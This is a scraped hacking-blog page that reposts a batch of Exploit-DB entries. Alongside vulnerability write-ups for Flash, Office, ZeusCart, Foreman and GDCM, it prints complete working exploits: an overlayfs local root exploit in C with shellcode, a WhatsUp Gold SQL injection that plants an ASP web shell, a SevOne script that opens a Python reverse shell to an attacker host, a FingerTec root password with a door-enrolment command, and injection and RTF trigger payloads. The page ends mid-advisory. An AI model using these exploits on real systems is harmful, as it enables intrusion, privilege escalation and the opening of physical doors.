Source: https://code.google.com/p/google-security-research/issues/detail?id=627
The attached swf file causes an out-of-bounds memset in BlurFilter processing. Note that Chrome aborts when processing the swf
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39219.zip
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863152427
Contributors to this blog
-
16114
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
Source: https://code.google.com/p/google-security-research/issues/detail?id=628
There is a use-after-free that appears to be related to rendering the display based on multiple scripts. A PoC is attached, tested on Windows only. Note the PoC is somewhat unreliable on some browsers, sometimes it needs to render a minute or two in the foreground before crashing. This is related to unreliability in the freed object being reallocated as a value that causes the crash, not unreliability in the underlying bug (it crashes immediately in a debug build of Flash). With enough effort, an attacker could likely trigger the issue immediately.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39220.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=629
The attached file causes a use-after-free when calling the stage setter. The PoC works most consistently in Firefox for 64-bit Windows.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39221.zip
source: https://www.securityfocus.com/bid/68182/info
ZeusCart is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
ZeusCart 4.0 is vulnerable; other versions may also be affected.
http://www.example.com/index.php?do=addtocart&prodid=${PROD_ID} and sleep(1)
source: https://www.securityfocus.com/bid/68117/info
Foreman is prone to a remote command-injection vulnerability.
Successful exploits will result in the execution of arbitrary commands with the privileges of the user running foreman-proxy.
curl -3 -H "Accept:application/json" -k -X POST -d "dummy=exploit" 'https://www.example.com:8443/tftp/fetch_boot_file?prefix=a&path=%3Btouch%20%2Ftmp%2Fbusted%3B'
#[+] Title: Apple watchOS - Remote Crash Exploit
#[+] Product: Apple
#[+] Vendor: www.apple.com
#[+] SoftWare Link : www.apple.com/watchos-2/
#[+] Vulnerable Version(s): watchOS on IOS 9.0.1
#
#
# Author : Mohammad Reza Espargham
# Linkedin : https://ir.linkedin.com/in/rezasp
# E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website : www.reza.es
# Twitter : https://twitter.com/rezesp
# FaceBook : https://www.facebook.com/reza.espargham
# 1. open your phone Clock / goto Alarm
# 2. add alarm / set time [for example two minutes later]
# 3. click label / input 5000 x “0"
# 4. Save
# 5. Lock Your phone and wait for alarm
# 6. When the alarm clock rings / Watch Crashed ;)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title : SNScan v1.05 Scan Hostname/IP Field Buffer Overflow Crash PoC
# Discovery by : Daniel Velazquez
# Email : ingenierovelazquez@hotmail.com
# Discovery Date : 12/01/2016
# Vendor Homepage : http://www.foundstone.com
# Software Link : http://www.mcafee.com/us/downloads/free-tools/snscan.aspx
# Tested Version : 1.05
# Vulnerability Type : Denial of Service (DoS) Local
# Tested on OS : Windows 8 x86 es
# Steps to Produce the Crash:
# 1.- Run python code : python SNScan-v1.05.py
# 2.- Open SNScan-v1.05.txt and copy content to clipboard
# 3.- Open SNScan.exe
# 4.- Clic button Ok
# 5.- Paste Clipboard Scan > Hostname/IP
# 6.- Clic on add button (->)
# 7.- Clic button Aceptar
# 8.- Crashed
buffer = "\x41" * 388
eip = "\x42" * 4
f = open ("SNScan-v1.05.txt", "w")
f.write(buffer + eip)
f.close()
# Exploit Title: Default Root Password and Remote Enrollment on FingerTec Devices
# Date: 12-01-2016
# Exploit Author: Daniel Lawson
# Contact: http://twitter.com/fang0654
# Website: https://digital-panther.com
# Category: physical access control
1. Description
Almost all FingerTec Access Control devices are running with open telnet, with a hardcoded default root password. Additionally, it is trivial to enroll a new administrative user on the device with a pin code or RFID card that will allow opening the door.
2. Proof of Concept
Login to telnet with the credentials: root / founder88
At the console type in the command:
echo -n -e \\\\x39\\\\x5\\\\x6\\\\x31\\\\x32\\\\x33\\\\x34\\\\x35\\\\x48\\\\x61\\\\x78\\\\x78\\\\x30\\\\x72\\\\x0\\\\x0\\\\x0\\\\x0\\\\x0\\\\x0\\\\x0\\\\x1\\\\x0\\\\x0\\\\x39\\\\x5\\\\x0\\\\x0 >> user.dat
This will create a user named Haxx0r with an id of 1337 and a pin of 12345.
---
Daniel Lawson
Digital Panther Security
https://digital-panther.com
/*
Grassroots DICOM (GDCM) is a C++ library for processing DICOM medical
images.
It provides routines to view and manipulate a wide range of image formats
and can be accessed through many popular programming languages like Python,
C#, Java and PHP.
GDCM versions 2.6.0 and 2.6.1 (and possibly previous versions) are prone
to an
integer overflow vulnerability which leads to a buffer overflow and
potentially to remote code execution. The vulnerability is triggered by the
exposed function gdcm::ImageRegionReader::ReadIntoBuffer, which copies
DICOM
image data to a buffer. ReadIntoBuffer checks whether the supplied
buffer is
large enough to hold the necessary data, however in this check it fails to
detect the occurrence of an integer overflow, which leads to a buffer
overflow
later on in the code. The buffer overflow will occur regardless of the
size of
the buffer supplied to the ReadIntoBuffer call.
More information about this vulnerability can be found at
http://census-labs.com/news/2016/01/11/gdcm-buffer-overflow-imageregionreaderreadintobuffer/
The GDCM project has released version 2.6.2 that addresses this issue.
It is advised to upgrade all GDCM installations to the latest stable
release.
Disclosure Timeline
-------------------
CVE assignment: December 2nd, 2015
Vendor Contact: December 4th, 2015
Vendor Patch Release: December 23rd, 2015
Public Advisory: January 11th, 2016
*/
#include "gdcmReader.h"
#include "gdcmImageReader.h"
#include "gdcmImageRegionReader.h"
#include "gdcmBoxRegion.h"
#include "gdcmImageHelper.h"
#include <iostream>
using namespace std;
/*
* A simple demonstration of CVE-2015-8396
* by Stelios Tsampas (stelios at census-labs.com)
* based on http://gdcm.sourceforge.net/html/ExtractImageRegion_8cs-example.html
*
* Compiles with:
* $ g++ -I/usr/include/gdcm-2.6 -o CVE-2015-8396-trigger CVE-2015-8396-trigger.cpp -lgdcmCommon -lgdcmMSFF -lgdcmDSED
*
* Try it on http://census-labs.com/media/CVE-2015-8396.dcm.bz2
* https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39229.zip
* $ bzip2 -d CVE-2015-8396.dcm.bz2
* $ ./CVE-2015-8396-trigger CVE-2015-8396.dcm
*/
int main(int argc, char *argv [])
{
char buffer[2048 * 2047];
gdcm::ImageRegionReader reader;
gdcm::BoxRegion box;
if (argc < 2) {
cout << "Usage: example <input-file>\n";
return 1;
}
const char *filename = argv[1];
reader.SetFileName(filename);
if (!reader.ReadInformation()) {
cout << "No info from file\n";
return 1;
}
std::vector<unsigned int> dims = gdcm::ImageHelper::GetDimensionsValue(reader.GetFile());
cout << "x: " << dims[0] << ", y: " << dims[1] << ", z: " << dims[2] << "\n";
box.SetDomain(0, dims[0] - 1, 0, dims[1] - 1, 0, dims[2] - 1);
reader.SetRegion(box);
reader.ReadIntoBuffer(buffer, sizeof(buffer));
return 0;
}
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
*
* This program demonstrates how to escalate privileges using
* an overlayfs mount within a user namespace. See
* http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/
* for more information.
*
* gcc -o UserNamespaceOverlayfsSetuidWriteExec UserNamespaceOverlayfsSetuidWriteExec.c
*
* Usage: UserNamespaceOverlayfsSetuidWriteExec -- [program] [args]
*
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <unistd.h>
extern char **environ;
static int childFunc(void *arg) {
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
while(geteuid()!=0) {
usleep(100);
}
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
int result=mount("overlayfs", "/tmp/x/bin", "overlayfs", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/x/over,workdir=/tmp/x/bin");
if(result) {
fprintf(stderr, "Overlay mounting failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
chdir("/tmp/x/bin");
result=chmod("su", 04777);
if(result) {
fprintf(stderr, "Mode change failed\n");
return(1);
}
fprintf(stderr, "Namespace helper waiting for modification completion\n");
struct stat statBuf;
char checkPath[128];
sprintf(checkPath, "/proc/%d", getppid());
while(1) {
usleep(100);
result=stat(checkPath, &statBuf);
if(result) {
fprintf(stderr, "Namespacer helper: parent terminated\n");
break;
}
// Wait until parent has escalated.
if(statBuf.st_uid) break;
}
chdir("/");
umount("/tmp/x/bin");
unlink("/tmp/x/over/su");
rmdir("/tmp/x/over");
rmdir("/tmp/x/bin/work");
rmdir("/tmp/x/bin");
rmdir("/tmp/x/");
fprintf(stderr, "Namespace part completed\n");
return(0);
}
#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];
int main(int argc, char *argv[]) {
int argPos;
int result;
char *targetSuidPath="/bin/su";
char *helperSuidPath="/bin/mount";
for(argPos=1; argPos<argc; argPos++) {
char *argName=argv[argPos];
if(!strcmp(argName, "--")) {
argPos++;
break;
}
if(strncmp(argName, "--", 2)) {
break;
}
fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
exit(1);
}
mkdir("/tmp/x", 0700);
mkdir("/tmp/x/bin", 0700);
mkdir("/tmp/x/over", 0700);
// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, argv+argPos);
if(pid==-1) {
fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
char idMapFileName[128];
char idMapData[128];
sprintf(idMapFileName, "/proc/%d/setgroups", pid);
int setGroupsFd=open(idMapFileName, O_WRONLY);
if(setGroupsFd<0) {
fprintf(stderr, "Failed to open setgroups\n");
return(1);
}
result=write(setGroupsFd, "deny", 4);
if(result<0) {
fprintf(stderr, "Failed to disable setgroups\n");
return(1);
}
close(setGroupsFd);
sprintf(idMapFileName, "/proc/%d/uid_map", pid);
fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
int uidMapFd=open(idMapFileName, O_WRONLY);
if(uidMapFd<0) {
fprintf(stderr, "Failed to open uid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getuid());
result=write(uidMapFd, idMapData, strlen(idMapData));
if(result<0) {
fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
close(uidMapFd);
sprintf(idMapFileName, "/proc/%d/gid_map", pid);
fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
int gidMapFd=open(idMapFileName, O_WRONLY);
if(gidMapFd<0) {
fprintf(stderr, "Failed to open gid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getgid());
result=write(gidMapFd, idMapData, strlen(idMapData));
if(result<0) {
fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
close(gidMapFd);
// Wait until /tmp/x/over/su exists
struct stat statBuf;
while(1) {
usleep(100);
result=stat("/tmp/x/over/su", &statBuf);
if(!result) break;
}
// Overwrite the file
sprintf(idMapFileName, "/proc/%d/cwd/su", pid);
// No slashes allowed, everything else is OK.
char suidExecMinimalElf[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80,
0x31, 0xc0, 0x04, 0xd0, 0xcd, 0x80,
0x31, 0xc0, 0x89, 0xd0,
0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
};
char *helperArgs[]={"/bin/mount", NULL};
int destFd=open(idMapFileName, O_RDWR|O_CREAT|O_TRUNC, 07777);
if(destFd<0) {
fprintf(stderr, "Failed to open %s, error %s\n", idMapFileName, strerror(errno));
return(1);
}
char *suidWriteNext=suidExecMinimalElf;
char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
while(suidWriteNext!=suidWriteEnd) {
char *suidWriteTestPos=suidWriteNext;
while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
suidWriteTestPos++;
// We cannot write any 0-bytes. So let seek fill up the file wihh
// null-bytes for us.
lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
suidWriteNext=suidWriteTestPos;
while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
suidWriteTestPos++;
pid_t helperPid=fork();
if(!helperPid) {
struct rlimit limits;
// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
limits.rlim_max=limits.rlim_cur;
setrlimit(RLIMIT_FSIZE, &limits);
// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
limits.rlim_cur=1<<22;
limits.rlim_max=limits.rlim_cur;
result=setrlimit(RLIMIT_AS, &limits);
dup2(destFd, 1);
dup2(destFd, 2);
helperArgs[0]=suidWriteNext;
execve(helperSuidPath, helperArgs, NULL);
fprintf(stderr, "Exec failed\n");
return(1);
}
waitpid(helperPid, NULL, 0);
suidWriteNext=suidWriteTestPos;
}
close(destFd);
execve(idMapFileName, argv+argPos-1, NULL);
fprintf(stderr, "Failed to execute %s: %d (%s)\n", idMapFileName,
errno, strerror(errno));
return(1);
}
#
# Exploit Title: WhatsUp Gold v16.3 Unauthenticated Remote Code Execution
# Date: 2016-01-13
# Exploit Author: Matt Buzanowski
# Vendor Homepage: http://www.ipswitch.com/
# Version: 16.3.x
# Tested on: Windows 7 x86
# CVE : CVE-2015-8261
# Usage: python DroneDeleteOldMeasurements.py <target ip>
import requests
import sys
ip_addr = sys.argv[1]
shell = '''<![CDATA[<% response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall() %>]]>'''
sqli_str = '''stuff'; END TRANSACTION; ATTACH DATABASE 'C:\\Program Files (x86)\\Ipswitch\\WhatsUp\\HTML\\NmConsole\\shell.asp' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ('%s');--''' % shell
session = requests.Session()
headers = {"SOAPAction":"\"http://iDrone.alertfox.com/DroneDeleteOldMeasurements\"","User-Agent":"Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.4927)","Expect":"100-continue","Content-Type":"text/xml; charset=utf-8","Connection":"Keep-Alive"}
body = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<DroneDeleteOldMeasurements xmlns="http://iDrone.alertfox.com/">
<serializedDeleteOldMeasurementsRequest><?xml version="1.0" encoding="utf-16"?>
<DeleteOldMeasurementsRequest xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<authorizationString>0123456789</authorizationString>
<maxAgeInMinutes>1</maxAgeInMinutes>
<iDroneName>%s</iDroneName>
</DeleteOldMeasurementsRequest></serializedDeleteOldMeasurementsRequest>
</DroneDeleteOldMeasurements>
</soap:Body>
</soap:Envelope>""" % sqli_str
response = session.post("http://%s/iDrone/iDroneComAPI.asmx" % ip_addr,data=body,headers=headers)
print "Status code:", response.status_code
print "Response body:", response.content
print "\n\nSUCCESS!!! Browse to http://%s/NmConsole/shell.asp?cmd=whoami for unauthenticated RCE.\n\n" % ip_addr
Source: https://code.google.com/p/google-security-research/issues/detail?id=594
Heap corruption buffer underflow in devenum.dll!DeviceMoniker::Load()
There exists a buffer underflow vulnerability in devenum.dll!DeviceMoniker::Load when attempting to null terminate a user supplied string. The function as it exists on Windows 7 x86 is implemented as follows:
signed int __stdcall CDeviceMoniker::Load(CDeviceMoniker *this, struct IStream *a2)
{
struct IStream *v2; // esi@1
signed int v3; // edi@1
const unsigned __int16 *v4; // ebx@2
char v6; // [sp+8h] [bp-4h]@1
v2 = a2;
v3 = a2->lpVtbl->Read(a2, &a2, 4, (ULONG *)&v6); // read a 4 byte user controlled length
if ( v3 >= 0 )
{
v4 = (const unsigned __int16 *)operator new[]((unsigned int)a2); // allocate length
if ( v4 )
{
v3 = v2->lpVtbl->Read(v2, (void *)v4, (ULONG)a2, (ULONG *)&v6); // read data into new buffer
if ( v3 >= 0 )
{
v4[((unsigned int)a2 >> 1) - 1] = 0; // BAD BAD BAD
v3 = CDeviceMoniker::Init(this, v4);
}
operator delete[]((void *)v4);
}
else
{
v3 = -2147024882;
}
}
return v3;
}
The issue comes in when we specify a length of 1 with the first read. A buffer of length 1 will be allocated and 1 byte will be read into it. But, when the code goes to NULL terminate this buffer it divides the length by 2 and subtracts 2 (v4 is a wchar_t) leading to "\x00\x00" being written 2 bytes before the allocated buffer.
This object "device.1" or {4315D437-5B8C-11D0-BD3B-00A0C911CE86} is reachable from any bit of software that performs an IPersistStream::Load on an arbritrary object. This vulnerable object is also reachable from any bit of software performing an OleLoad(IID_IOleObject) call with an with an attacker controlled CLSID -- as is the case in Office.
In the attached Word Document PoC the OLE object StdObjLink or {00000300-0000-0000-c000-000000000046} is embedded with data pointing to the device.1 object. The StdObjLink supports IOleObject and IPersistStorage interfaces. When a user single clicks the object in the document an OleLoad call will load the StdObjLink object and call its IPersistStorage::Load (ole32!CDefLink::Load()) method. StdObjLink will then read the device.1 CLSID from the \x01Ole stream and call OleLoadFromStream with an interface ID of IMoniker. This call will then result in device.1 being loaded and the IPersistStream::Load() (devenum!DeviceMoniker::Load()) method being called.
The DeviceMoniker::Load() method should limit the user supplied size to sane values that are 2 byte aligned.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39232.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=555
It is possible for an attacker to execute a DLL planting attack in Microsoft Office 2010 on Windows 7 x86 with a specially crafted OLE object. The attached POC document "planted-mfplat.doc" contains what was originally an embedded Packager object. The CLSID for this object was changed at offset 0x2650 to be {62dc1a93-ae24-464c-a43e-452f824c4250} (formatted as pack(">IHHBBBBBBBB")) which is one of several registered objects that have an InProcServer32 of WMALFXGFXDSP.dll. Other options include:
{637c490d-eee3-4c0a-973f-371958802da2}
{874131cb-4ecc-443b-8948-746b89595d20}
{96749377-3391-11D2-9EE3-00C04F797396}
When a user opens this document and single clicks on the icon for foo.txt ole32!OleLoad is invoked on our vulnerable CLSID. This results in a call to wmalfxgfxdsp!DllGetClassObject() which does a LoadLibraryW() call for "mfplat". If the attached mfplat.dll is placed in the same directory with the planted-mfplat.doc file you should see a popup coming from this DLL being loaded from the current working directory of Word.
Here is the call stack leading up to the vulnerable LoadLibraryW() call:
0:000> kb
ChildEBP RetAddr Args to Child
002c8d18 68f02e2f 68f02e70 68f013bc 003f0774 kernel32!LoadLibraryW
002c8d28 68f01ff4 00000000 002c93f4 003ff174 WMALFXGFXDSP!InitAVRTAlloc+0x58
002c8d3c 7660aec6 003f0764 00000000 002c8de4 WMALFXGFXDSP!DllGetClassObject+0x87
002c8d58 765e91cd 003f0764 7660ee84 002c8de4 ole32!CClassCache::CDllPathEntry::DllGetClassObject+0x30 [d:\w7rtm\com\ole32\com\objact\dllcache.cxx @ 3324]
002c8d70 765e8e92 002c8d84 7660ee84 002c8de4 ole32!CClassCache::CDllFnPtrMoniker::BindToObjectNoSwitch+0x1f [d:\w7rtm\com\ole32\com\objact\dllcache.cxx @ 3831]
002c8da8 765e8c37 002c8dec 00000000 002c93f4 ole32!CClassCache::GetClassObject+0x49 [d:\w7rtm\com\ole32\com\objact\dllcache.cxx @ 4582]
002c8e24 76603170 76706444 00000000 002c93f4 ole32!CServerContextActivator::CreateInstance+0x110 [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 974]
002c8e64 765e8daa 002c93f4 00000000 002c995c ole32!ActivationPropertiesIn::DelegateCreateInstance+0x108 [d:\w7rtm\com\ole32\actprops\actprops.cxx @ 1917]
002c8eb8 765e8d1f 7670646c 00000000 002c93f4 ole32!CApartmentActivator::CreateInstance+0x112 [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 2268]
002c8ed8 765e8aa2 76706494 00000001 00000000 ole32!CProcessActivator::CCICallback+0x6d [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 1737]
002c8ef8 765e8a53 76706494 002c9250 00000000 ole32!CProcessActivator::AttemptActivation+0x2c [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 1630]
002c8f34 765e8e0d 76706494 002c9250 00000000 ole32!CProcessActivator::ActivateByContext+0x4f [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 1487]
002c8f5c 76603170 76706494 00000000 002c93f4 ole32!CProcessActivator::CreateInstance+0x49 [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 1377]
002c8f9c 76602ef4 002c93f4 00000000 002c995c ole32!ActivationPropertiesIn::DelegateCreateInstance+0x108 [d:\w7rtm\com\ole32\actprops\actprops.cxx @ 1917]
002c91fc 76603170 76706448 00000000 002c93f4 ole32!CClientContextActivator::CreateInstance+0xb0 [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 685]
002c923c 76603098 002c93f4 00000000 002c995c ole32!ActivationPropertiesIn::DelegateCreateInstance+0x108 [d:\w7rtm\com\ole32\actprops\actprops.cxx @ 1917]
002c9a10 76609e25 002c9b2c 00000000 00000403 ole32!ICoCreateInstanceEx+0x404 [d:\w7rtm\com\ole32\com\objact\objact.cxx @ 1334]
002c9a70 76609d86 002c9b2c 00000000 00000403 ole32!CComActivator::DoCreateInstance+0xd9 [d:\w7rtm\com\ole32\com\objact\immact.hxx @ 343]
002c9a94 76609d3f 002c9b2c 00000000 00000403 ole32!CoCreateInstanceEx+0x38 [d:\w7rtm\com\ole32\com\objact\actapi.cxx @ 157]
002c9ac4 7662154c 002c9b2c 00000000 00000403 ole32!CoCreateInstance+0x37 [d:\w7rtm\com\ole32\com\objact\actapi.cxx @ 110]
002c9b40 7661f2af 62dc1a93 464cae24 2f453ea4 ole32!wCreateObject+0x106 [d:\w7rtm\com\ole32\ole232\base\create.cpp @ 3046]
002c9ba4 7661f1d4 06370820 00000000 5f3363a8 ole32!OleLoadWithoutBinding+0x9c [d:\w7rtm\com\ole32\ole232\base\create.cpp @ 1576]
002c9bcc 611483bf 06370820 5f3363a8 045d86e0 ole32!OleLoad+0x37 [d:\w7rtm\com\ole32\ole232\base\create.cpp @ 1495]
WARNING: Stack unwind information not available. Following frames may be wrong.
002c9c40 5f7c3973 06370820 5f3363a8 045d86e0 mso!Ordinal2023+0x7c
002c9c8c 5f7c3881 036fe800 06370820 5f3363a8 wwlib!DllGetLCID+0x46e24d
This DLL load can be triggered without user interaction with the following RTF document:
{\rtf1{\object\objemb{\*\objclass None}{\*\oleclsid \'7b62dc1a93-ae24-464c-a43e-452f824c4250\'7d}{\*\objdata 010500000100000001000000000000000000000000000000000000000000000000000000000000000000000000}}}
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39233.zip
#!/usr/bin/env python
# Exploit Title: SevOne NMS <= 5.3.6.0 reverse shell remote root
# Date: 01/14/2016
# Exploit Author: @iamsecurity
# Vendor Homepage: https://www.sevone.com/
# Software Link: https://www.sevone.com/download2/free/vimage/SevOne-Download.ova
# Version: 5.3.6.0
"""sevone.py: Simple reverse root shell exploit for SevOne <= 5.3.6.0.
Details: http://russiansecurity.expert/2016/01/14/critical-security-issues-in-sevone-nms/
run: ./sevone.py "sevone_url" lhost lport
"""
import sys
import requests
__author__ = '@iamsecurity'
def main():
if len(sys.argv) < 4:
print('Enter url of SevOne PAS server and listen IP and PORT to connect back.\nUsage: ' + sys.argv[0] +
' "sevone_url" lhost lport\nExample: ./sevone.py http://192.168.1.104 192.168.1.105 31337')
sys.exit(1)
requests.packages.urllib3.disable_warnings()
url = sys.argv[1]
lhost = sys.argv[2]
lport = sys.argv[3]
login_url = url + "/doms/login/processLogin.php"
rce_url = url + "/doms/discoveryqueue/kill.php"
login = "SevOneStats"
password = "n3v3rd13"
s = requests.Session()
s.verify = False
payload = [
'`echo \'import os; import pty; import socket; lhost="'+lhost+'"; lport='+lport+'; s=socket.socket(socket.AF_IN'
'ET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fi'
'leno(),2); os.putenv("HISTFILE","/dev/null"); pty.spawn("/bin/bash"); s.close()\' | dd of=/tmp/sess_ap6k1d1ucb'
'etfk9fhcqdnk0be5`',
'`python /tmp/sess_ap6k1d1ucbetfk9fhcqdnk0be5; rm -rf /tmp/sess_ap6k1d1ucbetfk9fhcqdnk0be5`'
]
s.post(login_url, {'login': login, 'passwd': password, 'tzString': 1})
s.post(rce_url, {'pids[]': payload[0]})
try:
s.post(rce_url, {'pids[]': payload[1]}, timeout=0.001)
except requests.exceptions.ReadTimeout:
print("Don't need wait for response from server. Exploit successfully!")
pass
if __name__ == "__main__":
main()
Manage Engine Applications Manager 12 Multiple Vulnerabilities
[Vendor Product Description]
- ManageEngine Applications Manager is an application performance monitoring solution that proactively monitors
business applications and help businesses ensure their revenue-critical applications meet end user expectations.
Applications Manager offers out-of-the-box monitoring support for 50+ applications and servers.
- Site: https://www.manageengine.com/
[Advisory Timeline]
- 22/10/2015 -> First Contact to Vendor;
- 23/10/2015 -> Vendor responded asking for details;
- 23/10/2015 -> Advisory & Details sent to vendor;
- 03/11/2015 -> Follow up with the vendor. No response received;
- 06/11/2015 -> Second follow up with the vendor. No response received;
- 22/12/2015 -> Final follow up with the vendor. No response received;
- 13/01/2016 -> Public security advisory released;
[Bug Summary]
- Cross Site Scripting (Stored) (CVE-ID Requested)
- Cross Site Request Forgery (CSRF) (CVE-ID Requested)
- Privilege Escalation (CVE-ID Requested)
[Impact]
- High
[Affected Version]
- Applications Manager 12
[Advisory]
- ZSL-2016-5292
- http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5292.php
[Bug Description and Proof of Concept]
1. Cross-Site Request Forgery (CSRF) - The application allows users to perform certain actions via HTTP requests
without performing any validity checks to verify the requests. This can be exploited to perform certain actions
with administrative privileges if a logged-in user visits a malicious web site
https://en.wikipedia.org/wiki/Cross-site_request_forgery
2. Cross Site Scripting (XSS) - Multiple cross-site scripting vulnerabilities were also discovered. The issue is
triggered when input passed via the multiple parameters is not properly sanitized before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.
https://en.wikipedia.org/wiki/Cross-site_scripting
3. Vertical Privilege Escalation - Applications Manager 12 suffers from a privilege escalation issue. Normal user can elevate his/her
privileges by modifying a GET request seting the parameter 'username' to 'admin'. Attacker can exploit this issue using also
cross-site request forgery attacks.
https://en.wikipedia.org/wiki/Privilege_escalation
[Proof-of-Concept]
1. Multiple Stored Cross Site Scripting
Parameter:
description (POST)
Payload:
